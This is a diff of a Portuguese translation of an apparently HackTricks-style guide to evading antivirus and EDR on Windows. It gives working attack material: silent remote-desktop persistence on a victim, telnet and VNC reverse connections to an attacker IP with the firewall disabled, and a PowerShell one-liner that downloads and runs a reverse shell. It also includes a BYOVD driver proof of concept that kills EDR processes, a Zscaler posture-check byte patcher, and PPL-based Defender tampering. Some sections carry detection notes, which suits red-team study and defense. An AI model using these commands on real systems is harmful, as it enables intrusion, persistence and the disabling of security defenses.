+> Se quiser ler mais sobre carregamento de Assembly C#, confira este artigo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e o InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))

-You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
+Você também pode carregar C# Assemblies **from PowerShell**, veja [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e o vídeo do S3cur3th1sSh1t (https://www.youtube.com/watch?v=oe11Q-3Akuk).

-## Using Other Programming Languages
+## Usando Outras Linguagens de Programação

-As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**.
+Como proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens dando à máquina comprometida acesso **ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo atacante**.

-By allowing access to the Interpreter Binaries and the environment on the SMB share you can **execute arbitrary code in these languages within memory** of the compromised machine.
+Ao permitir acesso aos binários do interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens na memória** da máquina comprometida.

-The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful.
+O repositório indica: o Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP etc. temos **mais flexibilidade para burlar assinaturas estáticas**. Testes com reverse shells aleatórios não ofuscados nessas linguagens foram bem-sucedidos.

 ## TokenStomping

-Token stomping is a technique that allows an attacker to **manipulate the access token or a security prouct like an EDR or AV**, allowing them to reduce it privileges so the process won't die but it won't have permissions to check for malicious activities.
+Token stomping é uma técnica que permite a um atacante **manipular o token de acesso ou um produto de segurança como um EDR ou AV**, permitindo reduzir seus privilégios para que o processo não seja terminado, mas não tenha permissões para verificar atividades maliciosas.

-To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes.
+Para prevenir isso, o Windows poderia **impedir que processos externos** obtenham handles sobre os tokens de processos de segurança.

 - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
 - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
 - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)

-## Using Trusted Software
+## Usando Software Confiável

 ### Chrome Remote Desktop

-As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), it's easy to just deploy the Chrome Remote Desktop in a victims PC and then use it to takeover it and maintain persistence:
-1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file.
-2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
-3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
-4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI).
+Conforme descrito em [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), é simples apenas implantar o Chrome Remote Desktop no PC da vítima e então usá-lo para assumir o controle e manter persistência:
+1. Baixe de https://remotedesktop.google.com/, clique em "Set up via SSH", e então clique no arquivo MSI para Windows para baixar o MSI.
+2. Execute o instalador silenciosamente na vítima (requer privilégios de administrador): `msiexec /i chromeremotedesktophost.msi /qn`
+3. Volte à página do Chrome Remote Desktop e clique em next. O assistente pedirá autorização; clique em Authorize para continuar.
+4. Execute o parâmetro fornecido com alguns ajustes: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Observe o parâmetro pin que permite definir o PIN sem usar a GUI).


-## Advanced Evasion
+## Evasão Avançada

-Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it's pretty much impossible to stay completely undetected in mature environments.
+Evasão é um tópico muito complexo; às vezes você precisa considerar muitas fontes diferentes de telemetria em um único sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.

-Every environment you go against will have their own strengths and weaknesses.
+Cada ambiente tem seus próprios pontos fortes e fracos.

-I highly encourage you go watch this talk from [@ATTL4S](https://twitter.com/DaniLJ94), to get a foothold into more Advanced Evasion techniques.
+Recomendo fortemente assistir a essa palestra de [@ATTL4S](https://twitter.com/DaniLJ94) para obter uma base em técnicas de Evasão Avançada.


 {{#ref}}
 https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
 {{#endref}}

-Esta é também outra great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
+Esta é também outra ótima palestra de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasion in Depth.


 {{#ref}}
 https://www.youtube.com/watch?v=IbA7Ung39o4
 {{#endref}}

-## **Old Techniques**
+## **Técnicas Antigas**

-### **Check which parts Defender finds as malicious**
+### **Verifique quais partes o Defender considera maliciosas**

-You can use [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) which will **remove parts of the binary** until it **finds out which part Defender** is finding as malicious and split it to you.\
-Another tool doing the **same thing is** [**avred**](https://github.com/dobin/avred) with an open web offering the service in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
+Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que vai **remover partes do binário** até **descobrir qual parte o Defender** está encontrando como maliciosa e separar isso para você.\
+Outra ferramenta que faz a **mesma coisa é** [**avred**](https://github.com/dobin/avred) com um serviço web disponível em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)

 ### **Telnet Server**

-Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing:
+Até o Windows 10, todas as versões do Windows vinham com um **Telnet server** que você podia instalar (como administrador) fazendo:
 ```bash
 pkgmgr /iu:"TelnetServer" /quiet
 ```
-Faça com que ele **inicie** quando o sistema for iniciado e **execute-o** agora:
+Faça com que ele **inicie** com o sistema e **execute** agora:
 ```bash
 sc config TlntSVR start= auto obj= localsystem
 ```
-**Alterar porta telnet** (stealth) e desativar o firewall:
+**Alterar porta do telnet** (stealth) e desativar o firewall:
 ```
 tlntadmn config port=80
 netsh advfirewall set allprofiles state off
 ```
 ### UltraVNC

-Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os downloads bin, não o instalador)
+Baixe em: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os bin downloads, não o setup)

 **ON THE HOST**: Execute _**winvnc.exe**_ e configure o servidor:

- Habilite a opção _Disable TrayIcon_
+- Ative a opção _Disable TrayIcon_
 - Defina uma senha em _VNC Password_
 - Defina uma senha em _View-Only Password_

-Em seguida, mova o binário _**winvnc.exe**_ e o arquivo **recém-criado** _**UltraVNC.ini**_ para dentro da **victim**
+Então, mova o binary _**winvnc.exe**_ e o arquivo **recém-criado** _**UltraVNC.ini**_ para dentro da **victim**

 #### **Reverse connection**

-O **attacker** deve executar no seu **host** o binário `vncviewer.exe -listen 5900` para que fique preparado para capturar uma reverse **VNC connection**. Depois, dentro da **victim**: inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
+O **attacker** deve **executar dentro** do seu **host** o binary `vncviewer.exe -listen 5900` para que fique **preparado** para receber uma reverse **VNC connection**. Então, dentro da **victim**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`

-**AVISO:** Para manter a furtividade você não deve fazer algumas coisas
+**AVISO:** Para manter a stealth você não deve fazer algumas coisas

- Não inicie `winvnc` se ele já estiver em execução ou você acionará um [popup](https://i.imgur.com/1SROTTl.png). Verifique se está em execução com `tasklist | findstr winvnc`
- Não inicie `winvnc` sem o `UltraVNC.ini` no mesmo diretório ou isso fará a [janela de configuração](https://i.imgur.com/rfMQWcf.png) abrir
+- Não inicie `winvnc` se já estiver em execução ou você acionará um [popup](https://i.imgur.com/1SROTTl.png). Verifique se está em execução com `tasklist | findstr winvnc`
+- Não inicie `winvnc` sem `UltraVNC.ini` no mesmo diretório ou isso abrirá [a janela de configuração](https://i.imgur.com/rfMQWcf.png)
 - Não execute `winvnc -h` para ajuda ou você acionará um [popup](https://i.imgur.com/oc18wcu.png)

 ### GreatSCT

-Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
+Baixe em: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
 ```
 git clone https://github.com/GreatSCT/GreatSCT.git
 cd GreatSCT/setup/
@ -522,7 +557,7 @@ cd GreatSCT/setup/
 cd ..
 ./GreatSCT.py
 ```
-Dentro de GreatSCT:
+Dentro do GreatSCT:
 ```
 use 1
 list #Listing available payloads
@ -538,13 +573,13 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
 ```
 **O Defender atual encerrará o processo muito rapidamente.**

-### Compiling our own reverse shell
+### Compilando nosso próprio reverse shell

 https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

 #### Primeiro C# Revershell

-Compile-o com:
+Compile com:
 ```
 c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
 ```
@ -633,7 +668,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE

 [REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)

-Download e execução automáticos:
+Download e execução automática:
 ```csharp
 64bit:
 powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
@ -645,7 +680,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
 https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
 {{#endref}}

-Lista de obfuscadores C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
+Lista de obfuscators para C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)

 ### C++
 ```
@ -660,7 +695,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
 - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
 - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)

-### Exemplo: usando python para build injectors:
+### Exemplo de uso do python para build injectors:

 - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)

@ -689,30 +724,30 @@ https://github.com/TheWover/donut
 # Vulcan
 https://github.com/praetorian-code/vulcan
 ```
-### Mais
+### More

 - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)

-## Bring Your Own Vulnerable Driver (BYOVD) – Matando AV/EDR a partir do espaço do kernel
+## Bring Your Own Vulnerable Driver (BYOVD) – Desativando AV/EDR a partir do espaço do kernel

-Storm-2603 aproveitou uma pequena utilidade de console conhecida como **Antivirus Terminator** para desabilitar proteções de endpoint antes de disparar ransomware. A ferramenta traz seu **próprio driver vulnerável mas *assinado*** e o abusa para emitir operações privilegiadas no kernel que até serviços AV em Protected-Process-Light (PPL) não conseguem bloquear.
+Storm-2603 utilizou uma pequena ferramenta de console conhecida como **Antivirus Terminator** para desativar proteções de endpoint antes de instalar ransomware. A ferramenta traz seu **próprio driver vulnerável mas *assinado*** e o abusa para emitir operações privilegiadas no kernel que até mesmo serviços AV em Protected-Process-Light (PPL) não conseguem bloquear.

-Principais conclusões
-1. **Signed driver**: O arquivo entregue no disco é `ServiceMouse.sys`, mas o binário é o driver legitimamente assinado `AToolsKrnl64.sys` do “System In-Depth Analysis Toolkit” da Antiy Labs. Como o driver possui uma assinatura válida da Microsoft, ele é carregado mesmo quando Driver-Signature-Enforcement (DSE) está habilitado.
+Key take-aways
+1. **Signed driver**: O arquivo entregue em disco é `ServiceMouse.sys`, mas o binário é o driver legitimamente assinado `AToolsKrnl64.sys` do “System In-Depth Analysis Toolkit” da Antiy Labs. Como o driver possui uma assinatura válida da Microsoft, ele é carregado mesmo quando Driver-Signature-Enforcement (DSE) está habilitado.
 2. **Service installation**:
 ```powershell
 sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
 sc start  ServiceMouse
 ```
-A primeira linha registra o driver como um **kernel service** e a segunda o inicia para que `\\.\ServiceMouse` se torne acessível a partir do user land.
-3. **IOCTLs expostos pelo driver**
-| IOCTL code | Capacidade                              |
+A primeira linha registra o driver como um **kernel service** e a segunda o inicia para que `\\.\ServiceMouse` se torne acessível do user land.
+3. **IOCTLs exposed by the driver**
+| IOCTL code | Capability                              |
 |-----------:|-----------------------------------------|
-| `0x99000050` | Encerra um processo arbitrário por PID (usado para matar serviços Defender/EDR) |
-| `0x990000D0` | Exclui um arquivo arbitrário do disco |
-| `0x990001D0` | Descarrega o driver e remove o serviço |
+| `0x99000050` | Terminar um processo arbitrário pelo PID (usado para matar serviços Defender/EDR) |
+| `0x990000D0` | Deletar um arquivo arbitrário no disco |
+| `0x990001D0` | Descarregar o driver e remover o service |

-Prova de conceito mínima em C:
+Minimal C proof-of-concept:
 ```c
 #include <windows.h>

@ -724,30 +759,30 @@ CloseHandle(hDrv);
 return 0;
 }
 ```
-4. **Por que funciona**: BYOVD ignora completamente as proteções em user-mode; código que executa no kernel pode abrir processos *protegidos*, terminá-los ou manipular objetos do kernel independentemente de PPL/PP, ELAM ou outras funcionalidades de hardening.
+4. **Why it works**:  BYOVD ignora completamente as proteções em user-mode; código que executa no kernel pode abrir processos *protegidos*, terminá-los ou manipular objetos do kernel independentemente de PPL/PP, ELAM ou outras funcionalidades de hardening.

-Detecção / Mitigação
-•  Habilitar a lista de bloqueio de drivers vulneráveis da Microsoft (`HVCI`, `Smart App Control`) para que o Windows recuse carregar `AToolsKrnl64.sys`.  
-•  Monitorar a criação de novos *kernel* services e alertar quando um driver é carregado de um diretório gravável por todos (world-writable) ou não está presente na allow-list.  
-•  Observar handles em user-mode para objetos de dispositivo personalizados seguidos por chamadas suspeitas `DeviceIoControl`.
+Detection / Mitigation
+•  Habilitar a lista de bloqueio de drivers vulneráveis da Microsoft (`HVCI`, `Smart App Control`) para que o Windows recuse o carregamento de `AToolsKrnl64.sys`.
+•  Monitorar a criação de novos *kernel* services e gerar alertas quando um driver for carregado a partir de um diretório world-writable ou não presente na allow-list.
+•  Observar handles em user-mode para device objects customizados seguidos por chamadas suspeitas a `DeviceIoControl`.

-### Contornando as verificações de postura do Zscaler Client Connector via patching de binários no disco
+### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching

-O **Client Connector** da Zscaler aplica regras de postura do dispositivo localmente e depende de Windows RPC para comunicar os resultados a outros componentes. Duas escolhas de design fracas tornam um bypass completo possível:
+Zscaler’s **Client Connector** aplica regras de device-posture localmente e depende de Windows RPC para comunicar os resultados a outros componentes. Duas escolhas de design fracas tornam um bypass completo possível:

-1. A avaliação de postura acontece **inteiramente no cliente** (um booleano é enviado ao servidor).  
-2. Endpoints RPC internos apenas validam que o executável conectante é **assinado pela Zscaler** (via `WinVerifyTrust`).
+1. A avaliação de posture acontece **inteiramente no cliente** (um booleano é enviado ao servidor).
+2. Endpoints RPC internos apenas validam que o executável conectante está **assinado pela Zscaler** (via `WinVerifyTrust`).

 Ao **patchar quatro binários assinados no disco** ambos os mecanismos podem ser neutralizados:

-| Binário | Lógica original alterada | Resultado |
+| Binary | Original logic patched | Result |
 |--------|------------------------|---------|
-| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Sempre retorna `1` para que toda verificação seja considerada compatível |
-| `ZSAService.exe` | Chamada indireta para `WinVerifyTrust` | NOP-ed ⇒ qualquer processo (mesmo não assinado) pode conectar-se aos pipes RPC |
+| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Sempre retorna `1`, então toda verificação fica conforme |
+| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ qualquer processo (mesmo unsigned) pode bindar às RPC pipes |
 | `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Substituído por `mov eax,1 ; ret` |
-| `ZSATunnel.exe` | Checagens de integridade no túnel | Curto-circuitado |
+| `ZSATunnel.exe` | Integrity checks on the tunnel | Short-circuited |

-Trecho mínimo do patcher:
+Minimal patcher excerpt:
 ```python
 pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
 replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1
@ -763,20 +798,20 @@ f.write(replacement)
 ```
 Após substituir os arquivos originais e reiniciar a stack de serviços:

-* **Todas** as verificações de postura exibem **verde/conforme**.
-* Binários não assinados ou modificados conseguem abrir os endpoints RPC de named-pipe (ex.: `\\RPC Control\\ZSATrayManager_talk_to_me`).
+* **Todos** os posture checks exibem **green/compliant**.
+* Binaries não assinados ou modificados podem abrir os named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
 * O host comprometido ganha acesso irrestrito à rede interna definida pelas políticas do Zscaler.

-Este estudo de caso demonstra como decisões de confiança puramente client-side e verificações simples de assinatura podem ser derrotadas com alguns patches de bytes.
+Este estudo de caso demonstra como decisões de confiança puramente do lado do cliente e verificações simples de assinatura podem ser derrotadas com alguns patches de bytes.

-## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
+## Abusando do Protected Process Light (PPL) para manipular AV/EDR com LOLBINs

-Protected Process Light (PPL) aplica uma hierarquia de signer/level de modo que apenas processos protegidos de nível igual ou superior podem modificar uns aos outros. Em ofensiva, se você conseguir iniciar legitimamente um binário habilitado para PPL e controlar seus argumentos, pode converter funcionalidades benignas (p.ex., logging) em um primitivo de escrita restrito, suportado por PPL, contra diretórios protegidos usados por AV/EDR.
+Protected Process Light (PPL) aplica uma hierarquia de assinante/nível de forma que apenas processos protegidos de nível igual ou superior podem manipular uns aos outros. No modo ofensivo, se você conseguir iniciar legitimamente um binário com PPL habilitado e controlar seus argumentos, pode converter funcionalidades benignas (e.g., logging) em um primitivo de escrita restrito, respaldado por PPL, contra diretórios protegidos usados por AV/EDR.

-What makes a process run as PPL
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
+O que faz um processo rodar como PPL
+- O EXE alvo (e quaisquer DLLs carregadas) deve ser assinado com um EKU compatível com PPL.
+- O processo deve ser criado com CreateProcess usando as flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
+- Deve ser solicitado um nível de proteção compatível que corresponda ao assinante do binário (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` para assinantes anti-malware, `PROTECTION_LEVEL_WINDOWS` para assinantes Windows). Níveis incorretos farão a criação falhar.

 See also a broader intro to PP/PPL and LSASS protection here:

@ -785,9 +820,9 @@ stealing-credentials/credentials-protections.md
 {{#endref}}

 Launcher tooling
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
+- Open-source helper: CreateProcessAsPPL (seleciona o nível de proteção e encaminha os argumentos para o EXE alvo):
 - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Usage pattern:
+- Padrão de uso:
 ```text
 CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
 # example: spawn a Windows-signed component at PPL level 1 (Windows)
@ -796,50 +831,50 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
 CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
 ```
 Primitiva LOLBIN: ClipUp.exe
- O binário de sistema assinado `C:\Windows\System32\ClipUp.exe` inicia outra instância de si mesmo e aceita um parâmetro para gravar um arquivo de log em um caminho especificado pelo chamador.
- Quando iniciado como um processo PPL, a gravação do arquivo ocorre sob proteção PPL.
- ClipUp não consegue analisar caminhos que contenham espaços; use 8.3 short paths para apontar para locais normalmente protegidos.
+- O binário de sistema assinado `C:\Windows\System32\ClipUp.exe` auto-inicia e aceita um parâmetro para escrever um arquivo de log em um caminho especificado pelo chamador.
+- Quando iniciado como um processo PPL, a gravação do arquivo ocorre com suporte PPL.
+- ClipUp não consegue analisar caminhos contendo espaços; use caminhos curtos 8.3 para apontar para locais normalmente protegidos.

 8.3 short path helpers
 - Liste nomes curtos: `dir /x` em cada diretório pai.
 - Obtenha o caminho curto no cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`

 Cadeia de abuso (abstrata)
-1) Inicie o LOLBIN compatível com PPL (ClipUp) com `CREATE_PROTECTED_PROCESS` usando um launcher (por exemplo, CreateProcessAsPPL).
-2) Passe o argumento de caminho de log do ClipUp para forçar a criação de um arquivo em um diretório AV protegido (por exemplo, Defender Platform). Use 8.3 short names se necessário.
-3) Se o binário alvo normalmente estiver aberto/bloqueado pelo AV enquanto em execução (por exemplo, MsMpEng.exe), agende a escrita na inicialização antes do AV iniciar instalando um serviço de inicialização automática que execute mais cedo de forma confiável. Valide a ordem de boot com Process Monitor (boot logging).
-4) No reboot a escrita com suporte PPL ocorre antes do AV bloquear seus binários, corrompendo o arquivo alvo e impedindo a inicialização.
+1) Inicie o LOLBIN com suporte a PPL (ClipUp) com `CREATE_PROTECTED_PROCESS` usando um lançador (por exemplo, CreateProcessAsPPL).
+2) Passe o argumento de caminho de log do ClipUp para forçar a criação de um arquivo em um diretório AV protegido (por exemplo, Defender Platform). Use nomes curtos 8.3 se necessário.
+3) Se o binário alvo normalmente estiver aberto/bloqueado pelo AV enquanto estiver em execução (por exemplo, MsMpEng.exe), agende a gravação na inicialização antes do AV iniciar instalando um serviço de auto-início que seja executado mais cedo de forma confiável. Valide a ordem de inicialização com o Process Monitor (boot logging).
+4) Na reinicialização, a gravação com suporte PPL ocorre antes do AV bloquear seus binários, corrompendo o arquivo alvo e impedindo sua inicialização.

-Exemplo de invocação (caminhos omitidos/encurtados por segurança):
+Example invocation (paths redacted/shortened for safety):
 ```text
 # Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
 CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
 ```
 Notas e restrições
- Você não pode controlar o conteúdo que o ClipUp grava além do local; o primitivo é mais adequado para corrupção do que para injeção de conteúdo precisa.
- Requer admin local/SYSTEM para instalar/iniciar um serviço e uma janela de reinicialização.
- O timing é crítico: o alvo não deve estar aberto; a execução na inicialização evita locks de arquivos.
+- Você não pode controlar o conteúdo que o ClipUp grava além do local; a primitiva é mais adequada para corrupção do que para injeção precisa de conteúdo.
+- Requer privilégios locais de admin/SYSTEM para instalar/iniciar um serviço e uma janela de reboot.
+- O timing é crítico: o alvo não deve estar aberto; execução na inicialização evita bloqueios de arquivos.

 Detecções
- Criação de processo de `ClipUp.exe` com argumentos incomuns, especialmente quando parentado por launchers não padrão, durante a inicialização.
- Novos serviços configurados para auto-start de binários suspeitos que consistentemente iniciam antes do Defender/AV. Investigar criação/modificação de serviços antes de falhas no startup do Defender.
- Monitoramento de integridade de arquivos em binários do Defender/diretórios Platform; criações/modificações inesperadas de arquivos por processos com flags protected-process.
- Telemetria ETW/EDR: procurar por processos criados com `CREATE_PROTECTED_PROCESS` e uso anômalo de níveis PPL por binários não-AV.
+- Criação do processo `ClipUp.exe` com argumentos incomuns, especialmente quando filho de launchers não padrão, durante a inicialização.
+- Novos serviços configurados para auto-start de binários suspeitos que iniciam consistentemente antes do Defender/AV. Investigue criação/modificação de serviços anterior a falhas de startup do Defender.
+- Monitoramento de integridade de arquivos nos binários do Defender/diretórios Platform; criações/modificações inesperadas de arquivos por processos com flags de protected-process.
+- Telemetria ETW/EDR: procure por processos criados com `CREATE_PROTECTED_PROCESS` e uso anômalo de níveis PPL por binários não-AV.

 Mitigações
- WDAC/Code Integrity: restringir quais binários assinados podem rodar como PPL e sob quais parents; bloquear invocação do ClipUp fora de contextos legítimos.
- Higiene de serviços: restringir criação/modificação de serviços de auto-start e monitorar manipulação da ordem de inicialização.
- Garantir que Defender tamper protection e proteções de early-launch estejam habilitadas; investigar erros de startup que indiquem corrupção de binários.
- Considerar desabilitar 8.3 short-name generation em volumes que hospedam security tooling, se compatível com seu ambiente (testar exaustivamente).
+- WDAC/Code Integrity: restrinja quais binários assinados podem rodar como PPL e sob quais processos pais; bloqueie invocações de ClipUp fora de contextos legítimos.
+- Higiene de serviços: restrinja criação/modificação de serviços de auto-start e monitore manipulação da ordem de inicialização.
+- Assegure que Defender tamper protection e early-launch protections estejam habilitados; investigue erros de inicialização que indiquem corrupção de binários.
+- Considere desabilitar a geração de nomes curtos 8.3 em volumes que hospedam ferramentas de segurança se compatível com seu ambiente (teste exaustivamente).

-Referências para PPL e tooling
+References for PPL and tooling
 - Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
 - EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
 - Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
 - CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
 - Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html

-## References
+## Referências

 - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
 - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
@ -853,4 +888,6 @@ Referências para PPL e tooling
 - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
 - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)

+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
+
 {{#include ../banners/hacktricks-training.md}}